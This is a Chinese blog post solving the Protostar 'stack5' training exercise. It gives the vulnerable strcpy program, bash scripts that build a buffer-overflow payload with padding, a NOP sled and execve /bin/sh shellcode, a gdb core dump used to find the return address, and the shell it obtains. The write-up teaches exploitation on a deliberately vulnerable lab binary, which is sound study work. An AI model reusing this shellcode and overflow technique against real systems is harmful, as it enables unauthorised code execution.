美文网首页
Protostar stack5问题

Protostar stack5问题

作者: 一路向后 | 来源:发表于2021-02-05 23:05 被阅读0次

    1.stack5问题源码

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    
    int main(int argc, char **argv)
    {
            char buffer[64];
    
            strcpy(buffer, argv[1]);
    
            return 0;
    }
    

    2.编写脚本

    #!/bin/bash
    
    #填充变量
    A=$(printf 'A%.0s' {1..76})
    
    #返回地址
    B="BBBC"
    
    #填充空指令
    C=$(printf '\x90%.0s' {1..32})
    
    #注入shellcode
    D="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
    
    GREENIE=$(echo -e -n $A$B$C$D)
    
    ./stack5 $GREENIE
    

    3.执行stack5.sh生成core文件

    $ ./stack5.sh
    

    4.gdb调试core

    $ gdb --core=core.3433
    (gdb) x/40wx $esp - 100
    0xbffff46c: 0x080483e5  0xbffff480  0xbffff6cb  0xb7fd71d8
    0xbffff47c: 0x00000000  0x41414141  0x41414141  0x41414141
    0xbffff48c: 0x41414141  0x41414141  0x41414141  0x41414141
    0xbffff49c: 0x41414141  0x41414141  0x41414141  0x41414141
    0xbffff4ac: 0x41414141  0x41414141  0x41414141  0x41414141
    0xbffff4bc: 0x41414141  0x41414141  0x41414141  0x41414141
    0xbffff4cc: 0x43424242  0x90909090  0x90909090  0x90909090
    0xbffff4dc: 0x90909090  0x90909090  0x90909090  0x90909090
    0xbffff4ec: 0x90909090  0x6850c031  0x68732f2f  0x69622f68
    0xbffff4fc: 0x50e3896e  0x31e18953  0xcd0bb0d2  0x00000080
    (gdb) quit
    

    5.修改返回地址

    #!/bin/bash
    
    #填充变量
    A=$(printf 'A%.0s' {1..76})
    
    #返回地址
    B="\xe0\xf4\xff\xbf"
    
    #填充空指令
    C=$(printf '\x90%.0s' {1..32})
    
    #注入shellcode
    D="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
    
    GREENIE=$(echo -e -n $A$B$C$D)
    
    ./stack5 $GREENIE
    

    6.成功获取shell

    $ ./stack5.sh 
    sh-4.1$
    

    相关文章

      网友评论

          本文标题:Protostar stack5问题

          本文链接:https://www.haomeiwen.com/subject/ooqntltx.html